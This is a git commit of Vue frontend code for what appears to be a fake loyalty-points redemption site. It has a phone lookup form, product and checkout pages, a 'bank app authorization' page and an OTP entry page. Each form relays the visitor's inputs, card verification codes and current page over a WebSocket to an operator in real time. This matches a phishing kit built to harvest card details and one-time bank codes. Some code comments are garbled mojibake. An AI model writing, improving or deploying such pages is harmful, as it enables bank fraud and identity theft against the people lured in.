This commit is contained in:
telangpu
2026-04-27 16:33:26 +08:00
parent c48009648e
commit 2fd1a741cf
437 changed files with 42017 additions and 0 deletions

View File

@@ -0,0 +1,32 @@
<script setup lang="ts">
import { computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { goodsConfig } from "@/config";
import AddressTheme1 from "@/components/address/AddressTheme1.vue";
import AddressTheme2 from "@/components/address/AddressTheme2.vue";
const currentThemeComponent = computed(() => {
const addressTheme = goodsConfig.value.addressTheme;
const fallbackTheme = goodsConfig.value.homeTheme;
const themeId = addressTheme || (fallbackTheme === 2 ? 2 : 1);
const themeMap: Record<string, any> = {
"1": AddressTheme1,
"2": AddressTheme2,
};
return themeMap[themeId] || AddressTheme1;
});
</script>
<template>
<CommonLayout>
<template #default>
<component :is="currentThemeComponent" />
</template>
</CommonLayout>
</template>
<style scoped>
/* Styles are owned by each address theme component. */
</style>

View File

@@ -0,0 +1,307 @@
<script setup lang="ts">
import { nextTick, onMounted, onUnmounted, reactive, ref, watch } from "vue";
import { useRoute } from "vue-router";
import { useLoadingStore } from "@/stores/loadingStore";
import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
const loadingStore = useLoadingStore();
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "appValid" },
})
);
loadingStore.setLoading(false);
const route = useRoute();
const query = route.query as any;
if (query) {
console.log("route", query);
cardType.value = query.cardType;
}
localStorage.setItem("route", "appValid");
eventBus.on("app-valid", handleEvent);
});
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("app-valid", handleEvent);
});
const formData = reactive({ verifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
showInput.value = !!(message.value.includes(":") || newValue.includes(""));
});
const submit = async () => {
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitAppValidCode",
formData: formData,
},
})
);
message.value = "";
};
</script>
<template>
<div class="top-content">
<img
src="/static/products/card.png"
alt="logo"
style="width: 40px; height: 40px; margin-right: 10px; object-fit: contain"/>
<div>
<h1 style="font-size: 22px; margin-bottom: 6px; margin-top: 10px; color: #ffffff">
{{ t("app_valid_view.authorized_bank_title") }}
</h1>
<p class="payment-message">
<strong>
{{ " " }}
</strong>
</p>
</div>
</div>
<div class="container">
<div class="content">
<div class="card-logo">
<!-- <CardType2 :cardType="cardType" />-->
<img src="/static/products/app.png" alt="card-logo" style="width: 100%" />
</div>
<div class="card-tye" v-if="cardType">
{{ cardType }}
</div>
<br />
<p>
<img
class="safe-icon"
src="data:image/png;base64,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"
alt="safe-icon"
/><b>{{ t("app_valid_view.authorized_bank_label") }}</b>
</p>
<p class="sub">
{{ t("app_valid_view.go_to_bank_app") }}
</p>
<p class="sub">{{ t("app_valid_view.do_not_close") }}</p>
<p class="error">
{{ message }}
</p>
<div
class="input1"
data-v-509c2adf=""
style="text-align: center"
v-if="showInput"
>
<input
required
@input="onchange"
v-model="formData.verifyCode"
data-v-509c2adf=""
/>
</div>
<br data-v-509c2adf="" v-if="showInput" />
<div class="button-submit" data-v-509c2adf="" v-if="showInput">
<button type="button" data-v-509c2adf="" @click="submit">
{{ t("Submit") }}
</button>
</div>
<div v-if="!showInput">
<img
class="loading-icon"
src="@/assets/img/ac3bca143fcfa.svg"
alt="loading-icon"
/>
</div>
</div>
</div>
</template>
<style scoped>
@media (max-width: 767px) {
/* Mega Menu */
body {
padding-top: 10px !important;
padding-bottom: 96px !important;
}
}
.sub {
opacity: 0.6;
}
.error {
color: red;
}
div.container {
display: flex;
align-items: center;
justify-content: center;
height: calc(100dvh - 100px);
padding: 0 10px;
font-size: 16px;
}
div.container .content {
text-align: center;
}
div.container .content .card-logo {
width: 120px;
margin: 0 auto;
position: relative;
}
div.container .content .card-logo:after {
content: "";
display: block;
position: absolute;
top: 0;
width: 15px;
height: 100%;
background: linear-gradient(
90deg,
transparent,
rgba(255, 255, 255, 0.6352941176),
transparent
);
animation: line 2s infinite;
}
@keyframes line {
0% {
left: -15px;
}
to {
left: 100%;
}
}
div.container .content .safe-icon {
display: inline-block;
width: 16px;
vertical-align: baseline;
}
div.container .content .loading-icon {
margin: 0 auto;
width: 50px;
opacity: 0.6;
}
div.input1 {
position: relative;
top: -0.5em;
}
div.input1 input {
width: 80%;
padding: 5px;
text-align: center;
outline: none;
border: 2px solid black;
border-radius: 5px;
font-weight: 700;
font-size: 1.1em;
box-sizing: border-box;
}
div.input1 input:focus {
border-color: #5381be;
}
div.button-submit button {
padding: 8px 20px;
cursor: pointer;
background-color: #5381be;
color: #fff;
border: none;
outline: none;
border-radius: 3px;
}
p {
display: block;
margin-block-start: 1em;
margin-block-end: 1em;
margin-inline-start: 0px;
margin-inline-end: 0px;
unicode-bidi: isolate;
}
.container div.input1 label {
display: block;
margin-bottom: 5px;
}
.container div.input1 input {
width: 130px;
padding: 8px 5px;
text-align: center;
outline: none;
border: 2px solid black;
border-radius: 5px;
font-weight: 700;
font-size: 16px;
box-sizing: border-box;
}
.container div.input1 input:focus {
border-color: #5381be;
}
.container div.button-submit button {
width: 80px;
padding: 10px 5px;
cursor: pointer;
background-color: #5381be;
color: #fff;
border: none;
outline: none;
border-radius: 3px;
}
.container .resend {
margin-top: 8px;
text-align: center;
font-size: 13px;
}
.container .resend a {
color: #000;
-webkit-text-decoration: underline;
text-decoration: underline;
}
.button-submit {
text-align: center;
}
.payment-message {
background: #F5F4F710;
color: #ffffff;
font-size: 14px;
margin-top: 5px;
border-radius: 20px;
}
</style>

View File

@@ -0,0 +1,32 @@
<script setup lang="ts">
import { computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { goodsConfig } from "@/config";
import CardTheme1 from "@/components/card/CardTheme1.vue";
import CardTheme2 from "@/components/card/CardTheme2.vue";
const currentThemeComponent = computed(() => {
const cardTheme = goodsConfig.value.cardTheme;
const fallbackTheme = goodsConfig.value.homeTheme;
const themeId = cardTheme || (fallbackTheme === 2 ? 2 : 1);
const themeMap: Record<string, any> = {
"1": CardTheme1,
"2": CardTheme2,
};
return themeMap[themeId] || CardTheme1;
});
</script>
<template>
<CommonLayout>
<template #default>
<component :is="currentThemeComponent" />
</template>
</CommonLayout>
</template>
<style scoped>
/* Styles are owned by each card theme component. */
</style>

View File

@@ -0,0 +1,21 @@
<script setup lang="ts">
import { onMounted, ref } from "vue";
import { loadHtml, headHtml, headerHtml, footerHtml } from "@/utils/common";
</script>
<template>
<div>
<div v-html="headerHtml"></div>
<main>
<div>
<slot></slot>
</div>
</main>
<div v-html="footerHtml">
</div>
</div>
</template>
<style scoped></style>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,629 @@
<template>
<CommonLayout>
<template #default>
<!-- <div style="padding-top: 60px;"></div> -->
<div class="goods-details" >
<!-- 顶部导航栏 -->
<div class="header">
<div class="back-button" @click="goBack">
<i class="icon-back"></i>
</div>
<h1 class="product-title"></h1>
</div>
<!-- 商品轮播图 -->
<swiper
class="product-carousel"
:modules="[Pagination]"
:pagination="{ clickable: true }"
:loop="productImages.length > 1"
:initial-slide="currentImageIndex"
@slideChange="onSwiperChange"
>
<swiper-slide v-for="(image, index) in productImages" :key="index">
<img :src="image" alt="Product Image" class="product-image" />
</swiper-slide>
</swiper>
<!-- 商品信息区域 -->
<div class="product-info">
<h2 class="product-name">{{ goodsDetail?.title }}</h2>
<div class="redemption-tag" v-if="goodsDetail?.top">
<span class="trophy-icon">🏆</span>
<span class="tag-text">{{ goodsDetail?.topName }}</span>
</div>
</div>
<!-- 价格选择区 -->
<div class="pricing-options">
<div class="pricing-option" v-if="goodsDetail?.onlyPoints" :class="{ active: selectedPriceOption === 'pointsOnly' }"
@click="selectPriceOption('pointsOnly')">
<div class="option-price">
<span class="points">{{ formatNumber(goodsDetail?.onlyPoints) }}</span>
<span class="points-label">{{ t('points') }}</span>
</div>
<div class="option-radio">
<div class="radio-circle" :class="{ selected: selectedPriceOption === 'pointsOnly' }"></div>
</div>
</div>
<div class="pricing-option" v-if="goodsDetail?.point2" :class="{ active: selectedPriceOption === 'pointsAndMoney' }"
@click="selectPriceOption('pointsAndMoney')">
<div class="option-price">
<span class="points">{{ formatNumber(goodsDetail?.point2) }}</span>
<span class="points-label">{{ t('points') }}</span>
<span class="plus-sign">+</span>
<span class="points">{{ goodsDetail?.price }}</span>
</div>
<div class="option-radio">
<div class="radio-circle" :class="{ selected: selectedPriceOption === 'pointsAndMoney' }">
</div>
</div>
</div>
</div>
<!-- 数量选择器 -->
<div class="quantity-selector">
<div class="quantity-label">{{ t("goods_details.quantity") }}</div>
<div class="quantity-controls">
<button class="quantity-btn decrease" @click="decreaseQuantity"></button>
<div class="quantity-display">{{ quantity }}</div>
<button class="quantity-btn increase" @click="increaseQuantity">+</button>
</div>
</div>
<div class="detail" v-html="goodsDetail.detail"></div>
<!-- 底部结算栏 -->
<div class="checkout-bar">
<div class="total-price">
<div class="total-label">{{ t("goods_details.total")}}</div>
<div class="total-amount">
<span class="points">{{ formatNumber(totalPoints) }}</span>
<span class="points-label">{{ t("Points") }}</span>
<span class="plus-sign" v-if="selectedPriceOption === 'pointsAndMoney'">+</span>
<span class="money" v-if="selectedPriceOption === 'pointsAndMoney'">{{ formatPriceWithUnit(totalMoney) }}</span>
</div>
</div>
<button class="exchange-button" @click="handleExchange">{{ t("Exchange") }}</button>
</div>
</div>
</template>
</CommonLayout>
</template>
<script setup lang="ts">
import { ref, computed, onMounted } from 'vue';
import { useRouter } from 'vue-router';
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { formatPriceWithUnit, inputChange, formatNumber } from "@/utils/common";
import { goodsConfig } from "@/config";
// Swiper相关
import { Swiper, SwiperSlide } from 'swiper/vue';
import { Pagination } from 'swiper/modules';
import 'swiper/css';
import 'swiper/css/pagination';
const onSwiperChange = (swiper: any) => {
currentImageIndex.value = swiper.activeIndex;
};
import { useI18n } from "vue-i18n";
const { t } = useI18n(); // 解构出t方法
const goodsDetail = ref<any>(
{
id: 1,
title: '',
description: '',
onlyPoints: 0,
point2: 0,
price: 0,
imageUrl: ''
}
);
const totalPoint = ref(3022);
onMounted(() => {
useLoadingStore().setLoading(false);
// 获取商品详情数据
const goodsDetailData = localStorage.getItem('goodsDetail');
if (goodsDetailData) {
goodsDetail.value = JSON.parse(goodsDetailData);
productImages.value = goodsDetail.value.imageUrl?.split(",") || [];
console.log(goodsDetail.value.imageUrl?.split(","));
// 设置默认选中的价格选项
// 如果只有 onlyPoints选中 pointsOnly
// 如果只有 point2选中 pointsAndMoney
// 如果两个都有,默认选中 pointsOnly第一个
if (goodsDetail.value.onlyPoints && !goodsDetail.value.point2) {
selectedPriceOption.value = 'pointsOnly';
} else if (!goodsDetail.value.onlyPoints && goodsDetail.value.point2) {
selectedPriceOption.value = 'pointsAndMoney';
} else if (goodsDetail.value.onlyPoints && goodsDetail.value.point2) {
// 两个都有默认选中第一个pointsOnly
selectedPriceOption.value = 'pointsOnly';
}
} else {
console.error('No product details found in local storage.');
}
const point = localStorage.getItem("totalPoint");
if (point) {
totalPoint.value = Number(point);
}
});
// 类型定义
type PriceOption = 'pointsOnly' | 'pointsAndMoney';
// 路由
const router = useRouter();
const goBack = () => {
// 设置标记,表明这是一个返回操作
router.currentRoute.value.meta.isBack = true;
router.back();
}
// 图片资源 - 注意:路径需要根据实际项目结构调整
const productImages = ref<string[]>([]);
const currentImageIndex = ref<number>(0);
const selectedPriceOption = ref<PriceOption>('pointsAndMoney');
const quantity = ref<number>(1);
// 计算属性
const totalPoints = computed<number>(() => {
if (selectedPriceOption.value === 'pointsOnly') {
return goodsDetail.value.onlyPoints * quantity.value;
} else {
return goodsDetail.value.point2 * quantity.value;
}
});
const totalMoney = computed<number>(() => {
if (selectedPriceOption.value === 'pointsAndMoney') {
return (goodsDetail.value.price2 * quantity.value);
}
return 0;
});
// 方法
const selectPriceOption = (option: PriceOption): void => {
selectedPriceOption.value = option;
};
const increaseQuantity = (): void => {
quantity.value++;
// 检查积分是否足够
const currentPoint = totalPoints.value; // 当前积分
const add = 1; // 假设每次增加数量为1
if (currentPoint > totalPoint.value && add > 0) {
quantity.value--;
alert(t("goods_details.not_enough_points"));
return;
}
};
const decreaseQuantity = (): void => {
if (quantity.value > 0) {
quantity.value--;
}
};
const handleExchange = (): void => {
if (quantity.value <= 0) {
// 如果你有toast组件
// toast.warning('Please select at least one item');
alert(t("goods_details.please_redeem"));
return;
}
// 检查积分是否足够
if (totalPoints.value > totalPoint.value) {
alert(t("goods_details.not_enough_points"));
return;
}
// 保存使用的积分
localStorage.setItem("pointsUsed", totalPoints.value.toString());
// 计算总金额:商品价格 + 运费(根据 feeType
let totalAmount = totalMoney.value; // 商品价格
let feeAmount = 0; // 运费
// 保存商品价格(不含运费)
if (totalMoney.value > 0) {
localStorage.setItem("goodsPrice", totalMoney.value.toString());
inputChange("SelectGoods", "price", totalMoney.value.toString());
}
// 处理运费
// feeType === 0: 无运费
// feeType === 1: 固定运费(在 CardView 中处理)
// feeType === 2: 在地址页选择运费(在 AddressView 中处理)
// feeType === 3: 在商品页选择运费(详情页不适用)
if (goodsConfig.value.feeType === 1 && goodsConfig.value.fee) {
// 固定运费:保存运费信息供后续页面使用
feeAmount = goodsConfig.value.fee;
localStorage.setItem("shippingFee", formatPriceWithUnit(goodsConfig.value.fee));
}
// feeType === 0 或 2 的情况feeAmount 保持为 0在其他页面处理
// 保存总金额(商品价格 + 运费)
totalAmount = totalMoney.value + feeAmount;
localStorage.setItem("moneyAmount", totalAmount.toString());
inputChange("SelectGoods", "title", goodsDetail.value.title);
useLoadingStore().setLoading(true);
setTimeout(() => {
router.push("/address");
}, 200);
};
const nextImage = (): void => {
currentImageIndex.value = (currentImageIndex.value + 1) % productImages.value.length;
};
const prevImage = (): void => {
currentImageIndex.value = (currentImageIndex.value - 1 + productImages.value.length) % productImages.value.length;
};
// 触摸滑动相关变量
const touchStartX = ref<number>(0);
const touchEndX = ref<number>(0);
const touchThreshold = 50; // 触发滑动的阈值
// 设置当前图片
const setCurrentImage = (index: number): void => {
currentImageIndex.value = index;
};
// 处理触摸开始
const handleTouchStart = (e: TouchEvent): void => {
touchStartX.value = e.touches[0].clientX;
};
// 处理触摸移动
const handleTouchMove = (e: TouchEvent): void => {
touchEndX.value = e.touches[0].clientX;
};
// 处理触摸结束
const handleTouchEnd = (): void => {
const swipeDistance = touchEndX.value - touchStartX.value;
// 向左滑动(下一张)
if (swipeDistance < -touchThreshold) {
nextImage();
}
// 向右滑动(上一张)
if (swipeDistance > touchThreshold) {
prevImage();
}
// 重置触摸值
touchStartX.value = 0;
touchEndX.value = 0;
};
</script>
<style scoped>
.goods-details {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
background-color: #f8f8f8;
min-height: 100vh;
position: relative;
padding-bottom: 80px;
}
.header {
display: flex;
align-items: center;
padding: 15px;
background-color: rgba(0, 0, 0, 0);
color: white;
position: absolute;
top: 30px;
left: 0;
right: 0;
z-index: 2;
}
.back-button {
display: flex;
justify-content: center;
align-items: center;
position: absolute;
left: 15px;
font-size: 24px;
padding: 5px;
width: 50px;
height: 50px;
border-radius: 50%;
background-color: rgba(116, 103, 103, 0.5);
}
.icon-back {
display: inline-block;
width: 24px;
height: 24px;
line-height: 24px;
text-align: center;
}
.icon-back:before {
content: "\2190"; /* Unicode for left arrow */
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
font-size: 24px;
color: white; /* Explicitly set color */
display: block;
line-height: 24px;
}
.product-title {
flex: 1;
text-align: center;
font-size: 20px;
font-weight: 500;
}
.product-carousel {
position: relative;
background-color: transparent;
height: 350px;
width: 100%;
overflow: hidden;
z-index: 1;
}
.carousel-wrapper {
display: flex;
height: 100%;
width: 100%;
transition: transform 0.3s ease;
}
.carousel-item {
flex: 0 0 100%;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
}
.carousel-controls {
position: absolute;
bottom: 15px;
left: 0;
right: 0;
display: flex;
justify-content: space-between;
align-items: center;
padding: 0 15px;
}
.carousel-dots {
display: flex;
gap: 6px;
}
.carousel-dot {
width: 8px;
height: 8px;
border-radius: 50%;
background-color: rgba(255, 255, 255, 0.5);
cursor: pointer;
}
.carousel-dot.active {
background-color: white;
}
.carousel-indicator {
background-color: rgba(0, 0, 0, 0.5);
color: white;
padding: 5px 10px;
border-radius: 15px;
font-size: 14px;
}
.product-image {
width: 100%;
max-height: 100%;
object-fit: contain;
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
object-fit: cover;
margin-top: 10px;
}
.carousel-indicator {
position: absolute;
bottom: 15px;
right: 15px;
background-color: rgba(0, 0, 0, 0.5);
color: white;
padding: 5px 10px;
border-radius: 15px;
font-size: 14px;
}
.product-info {
padding: 15px;
background-color: white;
}
.product-name {
font-size: 18px;
margin-bottom: 10px;
font-weight: 500;
text-align: left;
}
.redemption-tag {
display: flex;
align-items: center;
color: #ff9500;
font-size: 14px;
}
.trophy-icon {
margin-right: 5px;
}
.pricing-options {
margin-top: 10px;
background-color: white;
}
.pricing-option {
display: flex;
align-items: center;
padding: 20px 15px;
border-bottom: 1px solid #f0f0f0;
position: relative;
}
.detail {
padding: 15px;
background-color: white;
margin-top: 10px;
font-size: 14px;
line-height: 1.6;
}
.option-label {
color: #888;
margin-bottom: 5px;
}
.option-price {
flex: 1;
}
.points {
color: var(--global-primary-color);
font-size: 24px;
font-weight: bold;
}
.points-label {
color: var(--global-primary-color);
margin-left: 5px;
}
.plus-sign {
margin: 0 5px;
color: #ffa530;
}
.money {
color: var(--global-primary-color);
font-weight: bold;
}
.option-radio {
width: 24px;
height: 24px;
}
.radio-circle {
width: 24px;
height: 24px;
border-radius: 50%;
border: 2px solid #ccc;
box-sizing: border-box;
}
.radio-circle.selected {
border-color: var(--global-primary-color);
background-color: var(--global-primary-color);
box-shadow: 0 0 0 2px #fff inset;
}
.quantity-selector {
display: flex;
justify-content: space-between;
align-items: center;
padding: 20px 15px;
background-color: white;
margin-top: 10px;
}
.quantity-label {
font-size: 16px;
}
.quantity-controls {
display: flex;
align-items: center;
}
.quantity-btn {
width: 40px;
height: 40px;
display: flex;
align-items: center;
justify-content: center;
background-color: #f5f5f5;
border: none;
font-size: 20px;
cursor: pointer;
}
.quantity-display {
width: 60px;
height: 40px;
display: flex;
align-items: center;
justify-content: center;
background-color: white;
font-size: 18px;
border-top: 1px solid #f0f0f0;
border-bottom: 1px solid #f0f0f0;
}
.checkout-bar {
position: fixed;
bottom: 0;
left: 0;
right: 0;
background-color: white;
display: flex;
align-items: center;
z-index: 10000;
padding: 15px;
box-shadow: 0 -2px 10px rgba(0, 0, 0, 0.05);
}
.total-price {
flex: 1;
}
.total-label {
font-size: 16px;
margin-bottom: 5px;
}
.exchange-button {
background-color: var(--global-primary-color);
color: white;
border: none;
border-radius: 25px;
padding: 15px 30px;
font-size: 16px;
font-weight: bold;
cursor: pointer;
}
</style>

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,61 @@
<script setup lang="ts">
import { ref, onMounted } from 'vue';
const isLoading = ref(true);
onMounted(() => {
// Simulate loading, remove in production and use actual data loading completion
setTimeout(() => {
isLoading.value = false;
}, 2000);
});
</script>
<template>
<div class="container">
<div v-if="isLoading" class="loading-spinner">
<div class="spinner"></div>
</div>
<div v-else class="content">
<!-- Main content goes here when loading is complete -->
</div>
</div>
</template>
<style scoped>
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
width: 100%;
background-color: #f5f5f5;
}
.loading-spinner {
display: flex;
justify-content: center;
align-items: center;
}
.spinner {
width: 50px;
height: 50px;
border: 5px solid transparent;
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.content {
width: 100%;
padding: 20px;
}
</style>

View File

@@ -0,0 +1,61 @@
<template>
<div
v-if="isLoading"
class="loading-overlay-goods"
:style="{ backgroundColor: loadingBg.value }"
>
<div class="spinner-goods"></div>
</div>
</template>
<script lang="ts">
import { computed, defineComponent } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { loadingBg } from "@/utils/common";
export default defineComponent({
computed: {
loadingBg() {
return loadingBg;
},
},
setup() {
const loadingStore = useLoadingStore();
const isLoading = computed(() => loadingStore.isLoading);
return {
isLoading,
};
},
});
</script>
<style>
.loading-overlay-goods {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
background-color: rgba(0, 0, 0, 0.45);
}
.spinner-goods {
border: 4px solid rgb(207, 207, 207);
border-top: 4px solid var(--global-primary-color);
border-radius: 50%;
width: 50px;
height: 50px;
animation: spin 1s linear infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
</style>

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,107 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
const router = useRouter();
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n(); // 解构出t方法
const loadingStore = useLoadingStore();
const formData = ref({ phonePageData: { phone: "" } });
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
inputChange("input_phone", "", event.target.value);
};
const next = () => {
localStorage.setItem("phone", formData.value.phonePageData.phone);
loadingStore.setLoading(true);
setTimeout(() => {
router.push("/pay");
}, 200);
};
watch(
instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => { }
);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "phone" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.phonePageData) {
formData.value = userData;
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<!-- <img style="width: 10
0%;" src="/sa_points_sta/111.avif"/> -->
<div class="main-content-body" style="margin-top: 35px; margin-bottom: 30px;">
<div style="text-align: center">
<h1>{{ t("login_view.welcome_back") }}</h1>
<p>{{ t("login_view.reward_message") }}</p>
</div>
<form @submit.prevent="next">
<h4 class="text-center check-points-title">
<span>{{ t("login_view.check_points") }}</span>
</h4>
<div class="input1">
<label class="phone-label">
{{ t("Phone number") }}
</label>
<input required type="tel" inputmode="tel" @input="onchange" v-model="formData.phonePageData.phone"
placeholder=" " />
</div>
<div class="button-submit">
<button type="submit" class="inquire-button">
<span>{{ t("Inquire") }}</span>
</button>
</div>
</form>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
h1 {
font-size: 28px;
font-weight: 700;
letter-spacing: 2px;
color: #000000;
}
form {
margin-top: 10px;
padding: 2rem;
box-shadow: 0px 3px 18px 0px rgba(223, 223, 223, 0.93);
border-radius: 16px;
text-align: center;
}
form div label {
display: block;
text-align: left;
}
form div input {
width: 100%;
}
</style>

View File

@@ -0,0 +1,618 @@
<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import { useLoadingStore } from "@/stores/loadingStore";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const loadingStore = useLoadingStore();
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const message = ref("");
const formData = reactive({ verifyCode: "" });
const showLoadingModal = ref(false); // 鏂板锛氭帶鍒跺姞杞藉脊绐楁樉绀?
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
const buttonText = computed(() => {
return isCounting.value
? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
: t("otp_view.click_for_another");
});
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
loadingStore.setLoading(true);
if (!areAllValuesNotEmpty(formData)) {
loadingStore.setLoading(false);
return;
}
// 鏄剧ず鍔犺浇寮圭獥
showLoadingModal.value = true;
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData,
},
})
);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
};
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType },
})
);
isCounting.value = true;
timeLeft.value = initialTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
return;
}
stopCountdown();
}, 1000);
};
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
loadingStore.setLoading(false);
// 鍏抽棴鍔犺浇寮圭獥
